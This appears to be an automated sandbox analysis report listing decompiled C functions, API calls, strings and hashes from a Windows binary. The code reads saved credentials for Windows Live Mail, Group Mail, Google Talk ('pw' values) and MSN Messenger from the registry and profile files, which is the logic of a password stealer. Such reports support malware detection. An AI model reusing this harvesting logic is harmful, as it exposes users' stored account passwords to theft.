memset.MSVCRT ref: 0041146E

Part of subcall function 0040F232: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 0040F26B

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000000,00000104,00000104,?,?,?,?), ref: 004114A7
strlen.MSVCRT ref: 004114B5
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,00000000,00000104,00000104,?,?,?,?,?), ref: 004114DB

Strings

\Microsoft\Windows Live Mail, xrefs: 0041142A
Software\Microsoft\Windows Live Mail, xrefs: 00411484
Store Root, xrefs: 0041147F
\Microsoft\Windows Mail, xrefs: 00411403

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$strlen$Close$EnvironmentExpandStrings_stricmpstrcatstrcpy
String ID: Software\Microsoft\Windows Live Mail$Store Root$\Microsoft\Windows Live Mail$\Microsoft\Windows Mail
API String ID: 4071991895-2578778931
Opcode ID: b40a09ed6084c6be5fd3c209054c2b05923c65405b3fd14be26e8a18b8bd9bbc
Instruction ID: e9664ad0f3b84b924b74ee59ba002f7e9f43dcf230935329a4dad2143823624c
Opcode Fuzzy Hash: b40a09ed6084c6be5fd3c209054c2b05923c65405b3fd14be26e8a18b8bd9bbc
Instruction Fuzzy Hash: 45317772504348ABD320EBA9DD46FCB7BDC9B88714F00442FF649D7182EA78D55487AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040378B, Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 86
stringCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040378B(void* __ecx, void* __edi, void* __fp0, intOrPtr _a4) {
				char _v276;
				char _v404;
				intOrPtr _v408;
				char _v792;
				intOrPtr _v796;
				char _v924;
				char _v936;
				void _v1959;
				char _v1960;
				void _v2983;
				char _v2984;
				void* __ebx;
				void* __esi;
				void* _t28;
				void* _t50;
				void* _t51;
				char* _t59;
				char* _t63;
				void* _t70;

				_t70 = __fp0;
				_t51 = __ecx;
				_v1960 = 0;
				memset( &_v1959, 0, 0x3ff);
				_v2984 = 0;
				memset( &_v2983, 0, 0x3ff);
				_t28 = E00411622(_t51,  &_v2984,  &_v1960); // executed
				if(_t28 == 0) {
					return _t28;
				}
				E00402197( &_v936);
				_push( &_v1960);
				_t50 = 0x7f;
				E004060DA(_t50,  &_v276);
				_t59 =  &_v404;
				E004060DA(_t50, _t59,  &_v2984);
				_v796 = 9;
				_v408 = 3;
				_t63 = strchr(_t59, 0x40);
				_push( &_v404);
				if(_t63 == 0) {
					if(strlen() + 0xa < 0) {
						sprintf( &_v792, "%s@yahoo.com",  &_v404);
					}
				} else {
					strcpy( &_v792, ??);
					 *_t63 = 0;
				}
				strcpy( &_v924,  &_v404);
				return E004023C6( &_v936, _t70, _a4);
			}

0x0040378b
0x0040378b
0x004037a6
0x004037ac
0x004037ba
0x004037c0
0x004037d6
0x004037dd
0x004038a6
0x004038a6
0x004037ea
0x004037f5
0x004037f8
0x004037ff
0x0040380b
0x00403811
0x0040381b
0x00403825
0x00403837
0x00403842
0x00403843
0x00403863
0x00403878
0x0040387d
0x00403845
0x0040384c
0x00403853
0x00403853
0x0040388e
0x00000000

APIs

memset.MSVCRT ref: 004037AC
memset.MSVCRT ref: 004037C0

Part of subcall function 00411622: memset.MSVCRT ref: 00411644
Part of subcall function 00411622: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,000003FF), ref: 004116B0

Part of subcall function 004060DA: strlen.MSVCRT ref: 004060DF
Part of subcall function 004060DA: memcpy.MSVCRT ref: 004060F4

strchr.MSVCRT ref: 0040382F
strcpy.MSVCRT(?,?,?,?,?), ref: 0040384C
strlen.MSVCRT ref: 00403858
sprintf.MSVCRT ref: 00403878
strcpy.MSVCRT(?,?,?,?,?), ref: 0040388E

Strings

%s@yahoo.com, xrefs: 00403872

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$strcpystrlen$Closememcpysprintfstrchr
String ID: %s@yahoo.com
API String ID: 1649821605-3288273942
Opcode ID: 28c71e32e2af50959a8f735d191157fb7031000e76f71a7bd421d4c80fd3058b
Instruction ID: fac56a1422f5c84d721e9c9d17906f33e473bda0e694fa5a8ecc328811f6b8f6
Opcode Fuzzy Hash: 28c71e32e2af50959a8f735d191157fb7031000e76f71a7bd421d4c80fd3058b
Instruction Fuzzy Hash: 952186B3D0012C6EDB21EA54DD41BDA77AC9F45348F0401EBF649F6181E6B8AF848F69

Uniqueness

Uniqueness Score: -1.00%

Function 004034A5, Relevance: 10.5, APIs: 4, Strings: 3, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004034A5(void* __ecx, void* __eflags, void* __fp0, intOrPtr _a4) {
				void _v267;
				char _v268;
				void _v531;
				char _v532;
				void* __edi;
				void* __esi;
				void* _t15;
				void* _t23;
				char* _t28;

				_t23 = __ecx;
				_v532 = 0;
				memset( &_v531, 0, 0x104);
				_v268 = 0;
				memset( &_v267, 0, 0x104);
				_t15 = E0040F232(_t23, 0x80000002, "Software\\Group Mail", "InstallPath",  &_v532, 0xfa); // executed
				if(_t15 != 0) {
					strcpy( &_v268,  &_v532);
					_t28 =  &_v268;
					E00405F29(_t28);
					strcat(_t28, "fb.dat");
					return E004033B1(_t28, __fp0, _a4);
				}
				return _t15;
			}

0x004034a5
0x004034be
0x004034c5
0x004034d4
0x004034db
0x004034fb
0x00403505
0x00403516
0x0040351b
0x00403521
0x0040352e
0x00000000
0x00403540
0x00403543

APIs

memset.MSVCRT ref: 004034C5
memset.MSVCRT ref: 004034DB

Part of subcall function 0040F232: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 0040F26B

strcpy.MSVCRT(00000000,00000000), ref: 00403516

Part of subcall function 00405F29: strlen.MSVCRT ref: 00405F2A
Part of subcall function 00405F29: strcat.MSVCRT(00000000,00414078,004062C9,00000000,00000000,sqlite3.dll,004020F7,00000000,nss3.dll), ref: 00405F41

strcat.MSVCRT(00000000,fb.dat,00000000,00000000), ref: 0040352E

Strings

fb.dat, xrefs: 00403528
InstallPath, xrefs: 004034EC
Software\Group Mail, xrefs: 004034F1

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memsetstrcat$Closestrcpystrlen
String ID: InstallPath$Software\Group Mail$fb.dat
API String ID: 1387626053-966475738
Opcode ID: 38ec8536de8e14aff3b9b3d106331788fa2226ffb78b3e274a34b9b5a513c2d5
Instruction ID: 36ed55b5d374e154850240320204e9d1b3c473ccad1168af83c786b56a3c059d
Opcode Fuzzy Hash: 38ec8536de8e14aff3b9b3d106331788fa2226ffb78b3e274a34b9b5a513c2d5
Instruction Fuzzy Hash: 8201D8B294012879D720E655DD46FCA7A6C5F34745F0000E6BA48F21C2DAFCABD58B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040B91E, Relevance: 9.1, APIs: 6, Instructions: 71
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040B91E(intOrPtr __eax, intOrPtr* __ebx) {
				struct HICON__* _v8;
				void _v263;
				char _v264;
				void* __edi;
				void* __esi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				struct HICON__* _t28;
				intOrPtr* _t35;
				void* _t37;

				_t35 = __ebx;
				_t21 = __eax;
				 *((intOrPtr*)(__ebx + 0x124)) = 0;
				 *__ebx = 0x41457c;
				 *((intOrPtr*)(__ebx + 0x258)) = 0;
				_push(0x14);
				 *((intOrPtr*)(__ebx + 0x374)) = 0;
				L00412090();
				if(__eax == 0) {
					_t21 = 0;
					__eflags = 0;
				} else {
					 *0x418114 = __eax;
				}
				 *((intOrPtr*)(_t35 + 0x36c)) = _t21;
				L00412090(); // executed
				_t49 = _t21;
				_t37 = 0xf38;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E00404026(_t21, _t49);
				}
				 *((intOrPtr*)(_t35 + 0x370)) = _t22;
				 *((intOrPtr*)(_t35 + 0x378)) = 0;
				 *((intOrPtr*)(_t35 + 0x260)) = 0;
				 *((intOrPtr*)(_t35 + 0x25c)) = 0;
				 *((intOrPtr*)(_t35 + 0x154)) = 0;
				_t23 =  *(_t35 + 0x258);
				if(_t23 != 0) {
					DeleteObject(_t23);
					 *(_t35 + 0x258) = 0;
				}
				_t24 = E0040625C(); // executed
				 *(_t35 + 0x258) = _t24;
				E004019DA(_t37, _t35 + 0x158, 0x414490);
				_v264 = 0;
				memset( &_v263, 0, 0xff);
				_t28 = LoadIconA( *0x417b94, 0x65); // executed
				_v8 = _t28;
				strcpy(_t35 + 4, E004019DA(_t37,  &_v264, 0x414478));
				 *(_t35 + 0x104) = _v8;
				return _t35;
			}

0x0040b91e
0x0040b91e
0x0040b92b
0x0040b931
0x0040b937
0x0040b93d
0x0040b93f
0x0040b945
0x0040b94d
0x0040b956
0x0040b956
0x0040b94f
0x0040b94f
0x0040b94f
0x0040b95d
0x0040b963
0x0040b968
0x0040b96a
0x0040b96b
0x0040b976
0x0040b976
0x0040b96d
0x0040b96f
0x0040b96f
0x0040b978
0x0040b97e
0x0040b984
0x0040b98a
0x0040b990
0x0040b996
0x0040b99e
0x0040b9a1
0x0040b9a7
0x0040b9a7
0x0040b9ad
0x0040b9bd
0x0040b9c3
0x0040b9d6
0x0040b9dd
0x0040b9ed
0x0040b9fe
0x0040ba0b
0x0040ba16
0x0040ba20

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B945
??2@YAPAXI@Z.MSVCRT ref: 0040B963
DeleteObject.GDI32(?), ref: 0040B9A1
memset.MSVCRT ref: 0040B9DD
LoadIconA.USER32(00000065), ref: 0040B9ED
strcpy.MSVCRT(?,00000000,?,00000000), ref: 0040BA0B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@$DeleteIconLoadObjectmemsetstrcpy
String ID:
API String ID: 3205015851-0
Opcode ID: 2f8cdf16a645c1e46d6d809924f7a96c7986c5714da08ba0cbdd4ae4d3acf295
Instruction ID: 1611dc68708d9a603d76385fea93fddb5fcd3a07b13b65f331774950c43fbb3a
Opcode Fuzzy Hash: 2f8cdf16a645c1e46d6d809924f7a96c7986c5714da08ba0cbdd4ae4d3acf295
Instruction Fuzzy Hash: 9C2192F19002509BCB50EF758E897C97BA8AB44705F1444BBEE0CEF296D7B845818BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004076B7, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004076B7(void* __ecx, void* __eflags, int _a4, char _a8, char _a12, void _a13, char _a268, void _a269) {
				void* _v0;
				char _v4;
				long _t29;
				void* _t33;
				void* _t36;
				signed int _t54;
				void* _t56;
				void* _t57;
				void* _t58;

				_t50 = __ecx;
				E00412360(0x1110, __ecx);
				E004073B6(_a4); // executed
				_t29 = E0040F1B0(0x80000001, "Software\\Google\\Google Talk\\Accounts",  &_v4);
				_t56 = (_t54 & 0xfffffff8) + 0xc;
				if(_t29 == 0) {
					_a4 = 0;
					_a12 = 0;
					memset( &_a13, 0, 0xff);
					_t57 = _t56 + 0xc;
					_t33 = E0040F276(_v0, 0,  &_a12);
					while(1) {
						_t58 = _t57 + 0xc;
						if(_t33 != 0) {
							break;
						}
						_t36 = E0040F1B0(_v0,  &_a12,  &_a8);
						_t57 = _t58 + 0xc;
						if(_t36 == 0) {
							_a268 = 0;
							memset( &_a269, 0, 0xfff);
							E0040F1F1(0xfff, _t50, _a8, "pw",  &_a268);
							_t57 = _t57 + 0x18;
							E00407570( &_a268, _a4,  &_a12);
							RegCloseKey(_v0);
						}
						_a4 = _a4 + 1;
						_t33 = E0040F276(_v0, _a4,  &_a12);
					}
					_t29 = RegCloseKey(_v0);
				}
				return _t29;
			}

0x004076b7
0x004076c2
0x004076cc
0x004076e0
0x004076e5
0x004076ea
0x004076fd
0x00407701
0x00407705
0x0040770a
0x00407717
0x004077ac
0x004077ac
0x004077b1
0x00000000
0x00000000
0x00407735
0x0040773a
0x0040773f
0x0040774f
0x00407756
0x00407774
0x00407779
0x0040778b
0x00407794
0x00407794
0x00407796
0x004077a7
0x004077a7
0x004077bb
0x004077bb
0x004077c2

APIs

Part of subcall function 004073B6: memset.MSVCRT ref: 00407418
Part of subcall function 004073B6: memset.MSVCRT ref: 0040742C
Part of subcall function 004073B6: memset.MSVCRT ref: 00407446
Part of subcall function 004073B6: memset.MSVCRT ref: 0040745B
Part of subcall function 004073B6: GetComputerNameA.KERNEL32(?,?), ref: 0040747D
Part of subcall function 004073B6: GetUserNameA.ADVAPI32(?,?), ref: 00407491
Part of subcall function 004073B6: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004074B0
Part of subcall function 004073B6: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004074C5
Part of subcall function 004073B6: strlen.MSVCRT ref: 004074CE
Part of subcall function 004073B6: strlen.MSVCRT ref: 004074DD
Part of subcall function 004073B6: memcpy.MSVCRT ref: 004074EF

Part of subcall function 0040F1B0: RegOpenKeyExA.KERNELBASE(80000002,80000002,00000000,00020019,80000002,0040F559,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00000000,?,?,00000104), ref: 0040F1C3

memset.MSVCRT ref: 00407705

Part of subcall function 0040F276: RegEnumKeyExA.ADVAPI32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 0040F299

memset.MSVCRT ref: 00407756
RegCloseKey.ADVAPI32(?,?,?), ref: 00407794
RegCloseKey.ADVAPI32(?), ref: 004077BB

Strings

Software\Google\Google Talk\Accounts, xrefs: 004076D6

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$ByteCharCloseMultiNameWidestrlen$ComputerEnumOpenUsermemcpy
String ID: Software\Google\Google Talk\Accounts
API String ID: 2959138223-1079885057
Opcode ID: c9cce60634fc59fb7108b3190625f52d3406a5535f91f01c2962c8a28a0ab0b7
Instruction ID: a99152f29cb3baba476c483fa4670b136c65b11177ef5495e630776d68c42b47
Opcode Fuzzy Hash: c9cce60634fc59fb7108b3190625f52d3406a5535f91f01c2962c8a28a0ab0b7
Instruction Fuzzy Hash: 93219471408209BED610DE51DD42EABBBECEF84344F00043AB944D1192E635DD5D9BA7

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6C6, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A6C6(void* __eax) {
				void* __esi;
				_Unknown_base(*)()* _t26;
				void* _t31;
				intOrPtr _t34;
				char* _t44;
				void* _t45;
				intOrPtr* _t46;
				int _t47;

				_t45 = __eax;
				_t37 =  *((intOrPtr*)(__eax + 0x37c));
				_t47 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x37c)) + 0x30)) > 0) {
					do {
						_t31 = E00406F55(_t47, _t37);
						_push(_t31);
						_push("/sort");
						L0041207E();
						if(_t31 == 0) {
							_t4 = _t47 + 1; // 0x1
							_t44 = E00406F55(_t4,  *((intOrPtr*)(_t45 + 0x37c)));
							_t54 =  *_t44 - 0x7e;
							_t34 =  *((intOrPtr*)(_t45 + 0x370));
							if( *_t44 != 0x7e) {
								_push(0);
							} else {
								_push(1);
								_t44 = _t44 + 1;
							}
							_push(_t44);
							E0040A283(_t34, _t54);
						}
						_t37 =  *((intOrPtr*)(_t45 + 0x37c));
						_t47 = _t47 + 1;
					} while (_t47 <  *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x37c)) + 0x30)));
				}
				E00405E36();
				 *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x370)) + 0x28)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x370)))) + 0x5c))();
				if(E00406F65( *((intOrPtr*)(_t45 + 0x37c)), "/nosort") == 0xffffffff) {
					_t46 =  *((intOrPtr*)(_t45 + 0x370));
					if( *0x41848c == 0) {
						 *0x418490 =  *((intOrPtr*)(_t46 + 0x1ac));
						 *0x41848c = 1;
					}
					_t26 =  *((intOrPtr*)( *_t46 + 0x60))(E0040A25D);
					qsort( *((intOrPtr*)( *_t46 + 0x64))(), 0,  *(_t46 + 0x28), _t26);
				}
				return SetCursor( *0x417b98);
			}

0x0040a6c9
0x0040a6cb
0x0040a6d3
0x0040a6d8
0x0040a6da
0x0040a6dc
0x0040a6e1
0x0040a6e2
0x0040a6e7
0x0040a6f0
0x0040a6f8
0x0040a700
0x0040a702
0x0040a705
0x0040a70b
0x0040a712
0x0040a70d
0x0040a70d
0x0040a70f
0x0040a70f
0x0040a713
0x0040a714
0x0040a714
0x0040a719
0x0040a71f
0x0040a720
0x0040a6da
0x0040a725
0x0040a730
0x0040a73b
0x0040a751
0x0040a759
0x0040a75f
0x0040a767
0x0040a76c
0x0040a76c
0x0040a782
0x0040a790
0x0040a795
0x0040a7a7

APIs

_mbsicmp.MSVCRT ref: 0040A6E7
qsort.MSVCRT ref: 0040A790
SetCursor.USER32(/nosort,?,0040BCA6), ref: 0040A79E

Strings

/sort, xrefs: 0040A6E2
/nosort, xrefs: 0040A744

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Cursor_mbsicmpqsort
String ID: /nosort$/sort
API String ID: 882979914-1578091866
Opcode ID: b62834dc514b00cfd30f714a9fad692c6252d4fd7e33ed5c13f61842356538e2
Instruction ID: d235f9a75b77abe912022d820ae93ced97f95949ab3107a8ace45c524b087071
Opcode Fuzzy Hash: b62834dc514b00cfd30f714a9fad692c6252d4fd7e33ed5c13f61842356538e2
Instruction Fuzzy Hash: 5421C170704602EFC719EF75C884A95B7A9FF48314B10413EF529A7291DB39AC218B8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F4CA, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040F4CA(char* __edi, void* __esi) {
				void* _v8;
				char _v40;
				void _v299;
				char _v300;
				void* _t32;
				char* _t37;
				void* _t38;

				_t38 = __esi;
				_t37 = __edi;
				E0040F41D();
				if( *0x41851c == 0 ||  *((intOrPtr*)(E00406282() + 0x10)) == 1 && (__esi == 0x19 || __esi == 0x17 || __esi == 0x16)) {
					_v300 = 0;
					memset( &_v299, 0, 0x103);
					if(_t38 == 0x19 || _t38 == 0x17 || _t38 == 0x16) {
						_push( &_v8);
						_push("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders");
						_push(0x80000002);
					} else {
						_push( &_v8);
						_push("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders");
						_push(0x80000001);
					}
					if(E0040F1B0() == 0) {
						E0040F44C(_t38);
						E0040F1F1(0x104,  &_v40, _v8,  &_v40,  &_v300);
						RegCloseKey(_v8);
					}
					strcpy(_t37,  &_v300);
					return 0 |  *_t37 != 0x00000000;
				} else {
					_t32 =  *0x41851c(0, _t37, _t38, 0); // executed
					return _t32;
				}
			}

0x0040f4ca
0x0040f4ca
0x0040f4d4
0x0040f4e1
0x0040f519
0x0040f51f
0x0040f52a
0x0040f539
0x0040f53a
0x0040f53f
0x0040f546
0x0040f549
0x0040f54a
0x0040f54f
0x0040f54f
0x0040f55e
0x0040f565
0x0040f57d
0x0040f588
0x0040f588
0x0040f596
0x00000000
0x0040f4fd
0x0040f501
0x00000000
0x0040f501

APIs

Part of subcall function 0040F41D: LoadLibraryA.KERNEL32(shell32.dll,0040BBB8,75144DE0,?,00000000), ref: 0040F42B
Part of subcall function 0040F41D: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 0040F440

memset.MSVCRT ref: 0040F51F
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,?,?,00000104), ref: 0040F588
strcpy.MSVCRT(00000000,?,?,?,?,?,?,00000104), ref: 0040F596

Part of subcall function 00406282: GetVersionExA.KERNEL32(00418118,0000001A,0040F4E8,00000104), ref: 0040629C

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0040F53A, 0040F54A

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressCloseLibraryLoadProcVersionmemsetstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 181880968-2036018995
Opcode ID: 688813e34a40ff9dac7194856c9665e444ed430276b4d0f07d4d5b497ec3e936
Instruction ID: 8c400c1df07908664f594f880775229253182a5e7b911f92c7f22337ad7f8634
Opcode Fuzzy Hash: 688813e34a40ff9dac7194856c9665e444ed430276b4d0f07d4d5b497ec3e936
Instruction Fuzzy Hash: 34119971801114BADB30AA989C899DF77AC9715308F5400BBFD51B2593D6385F9C8A99

Uniqueness

Uniqueness Score: -1.00%

Function 00403946, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403946(void* __eflags, void* __fp0, intOrPtr _a4) {
				char _v528;
				intOrPtr _v540;
				char _v796;
				char _v1052;
				void* _v1056;
				void* _v1060;
				int _v1064;
				void* __ebx;
				void* __esi;
				void* _t21;
				long _t23;
				void** _t24;
				long _t26;
				int _t32;
				void* _t52;

				_t52 = __fp0;
				_v540 = 0x413eb0;
				E004046E1( &_v528);
				_t32 = 0;
				_v1052 = 0;
				_v796 = 0;
				_v1064 = 0;
				do {
					if(_v1064 != _t32) {
						__eflags = _v1064 - 1;
						if(__eflags != 0) {
							_t21 = E0040DC39( &_v1052, __eflags); // executed
						} else {
							_t23 = RegOpenKeyExA(0x80000001, "Software\\Microsoft\\MessengerService", _t32, 0x20019,  &_v1060); // executed
							__eflags = _t23;
							if(_t23 != 0) {
								goto L5;
							} else {
								_t24 =  &_v1060;
								goto L4;
							}
						}
					} else {
						_t26 = RegOpenKeyExA(0x80000001, "Software\\Microsoft\\MSNMessenger", _t32, 0x20019,  &_v1056); // executed
						if(_t26 != 0) {
							L5:
							_t21 = 0;
						} else {
							_t24 =  &_v1056;
							L4:
							_t21 = E0040DB04( &_v1052, _t24);
						}
					}
					_t32 = 0;
					if(_t21 != 0) {
						E004038A9(_t52, _a4,  &_v1052);
					}
					_v1064 = _v1064 + 1;
				} while (_v1064 <= 2);
				return E004047FB( &_v528);
			}

0x00403946
0x0040395c
0x00403967
0x00403972
0x00403974
0x00403978
0x0040397f
0x00403988
0x0040398c
0x004039b9
0x004039be
0x004039e1
0x004039c0
0x004039d1
0x004039d3
0x004039d5
0x00000000
0x004039d7
0x004039d7
0x00000000
0x004039d7
0x004039d5
0x0040398e
0x0040399f
0x004039a3
0x004039b5
0x004039b5
0x004039a5
0x004039a5
0x004039a9
0x004039ae
0x004039ae
0x004039a3
0x004039e6
0x004039ea
0x004039f4
0x004039f4
0x004039f9
0x004039fd
0x00403a16

APIs

Part of subcall function 004046E1: strcpy.MSVCRT ref: 00404730

RegOpenKeyExA.KERNELBASE(80000001,Software\Microsoft\MSNMessenger,00000000,00020019,?), ref: 0040399F

Part of subcall function 0040DC39: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,000000FF,00000000,00000000,?,?,00000001), ref: 0040DD05
Part of subcall function 0040DC39: strlen.MSVCRT ref: 0040DD15
Part of subcall function 0040DC39: strcpy.MSVCRT(?,?), ref: 0040DD26
Part of subcall function 0040DC39: LocalFree.KERNEL32(?), ref: 0040DD33

RegOpenKeyExA.KERNELBASE(80000001,Software\Microsoft\MessengerService,00000000,00020019,?), ref: 004039D1

Strings

Software\Microsoft\MessengerService, xrefs: 004039CB
Software\Microsoft\MSNMessenger, xrefs: 00403999

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Openstrcpy$ByteCharFreeLocalMultiWidestrlen
String ID: Software\Microsoft\MSNMessenger$Software\Microsoft\MessengerService
API String ID: 1910562259-1741179510
Opcode ID: cd4cad58a6bbdb2152182e06e1211f683bfeac5af0318659dfdfa5e05705f839
Instruction ID: a8690c8f59c2d6ddd84299c782105f2e65a9bc437c951c5f77a69b85a32d1474
Opcode Fuzzy Hash: cd4cad58a6bbdb2152182e06e1211f683bfeac5af0318659dfdfa5e05705f839
Instruction Fuzzy Hash: 1111D8B1108309AED320EE5198818ABBFEC9B95355F50843FF544A2081D3789A4DCAAB

Uniqueness

Uniqueness Score: -1.00%

Function 0040F37C, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F37C(unsigned int _a4, CHAR* _a8, CHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceA(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								 *0x418110 =  *0x418110 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

0x0040f389
0x0040f38f
0x0040f393
0x0040f3a0
0x0040f3a4
0x0040f3aa
0x0040f3b2
0x0040f3b5
0x0040f3bd
0x0040f3c1
0x0040f3c4
0x0040f3c7
0x0040f3c9
0x0040f3c9
0x0040f3cd
0x0040f3d0
0x0040f3e0
0x0040f3e2
0x0040f3e6
0x0040f3e6
0x0040f3ea
0x0040f3f4
0x0040f3f4
0x0040f3bd
0x0040f3b2
0x0040f3f9
0x0040f3ff

APIs

FindResourceA.KERNEL32(?,?,?), ref: 0040F389
SizeofResource.KERNEL32(?,00000000), ref: 0040F39A
LoadResource.KERNEL32(?,00000000), ref: 0040F3AA
LockResource.KERNEL32(00000000), ref: 0040F3B5

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 9cd59cfcab74544fb09ebac2717695010326dcaa36405c725c3e94a77d8c1a91
Instruction ID: 02aaebfec467b3bf7519b160cf801d0b857f87d6ebd9b35fbb0925b6dc32657f
Opcode Fuzzy Hash: 9cd59cfcab74544fb09ebac2717695010326dcaa36405c725c3e94a77d8c1a91
Instruction Fuzzy Hash: B601D6327002156BCB294FA5DC45A9BBFAEFF857A1704803AFC09E72A1DB70C905D6C8

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E3, Relevance: 6.1, APIs: 4, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040F0E3(void* __ecx, intOrPtr* __edi, void* __eflags, intOrPtr _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, CHAR* _a20) {
				void _v8199;
				char _v8200;
				void* __ebx;
				int _t23;
				CHAR* _t31;

				E00412360(0x2004, __ecx);
				_v8200 = 0;
				if(_a4 == 0) {
					memset( &_v8199, 0, 0x2000);
					GetPrivateProfileStringA(_a8, _a12, 0x41344f,  &_v8200, 0x2000, _a20); // executed
					_t23 = E0040680B( &_v8200, __edi, _a16);
				} else {
					memset( &_v8199, 0, 0x2000);
					_t31 =  &_v8200;
					E00406792(_t31, _a16,  *__edi);
					_t23 = WritePrivateProfileStringA(_a8, _a12, _t31, _a20);
				}
				return _t23;
			}

0x0040f0eb
0x0040f0f6
0x0040f0fc
0x0040f146
0x0040f164
0x0040f174
0x0040f0fe
0x0040f10b
0x0040f112
0x0040f11b
0x0040f12f
0x0040f12f
0x0040f17e

APIs

memset.MSVCRT ref: 0040F10B

Part of subcall function 00406792: sprintf.MSVCRT ref: 004067CA
Part of subcall function 00406792: memcpy.MSVCRT ref: 004067DD

WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 0040F12F
memset.MSVCRT ref: 0040F146
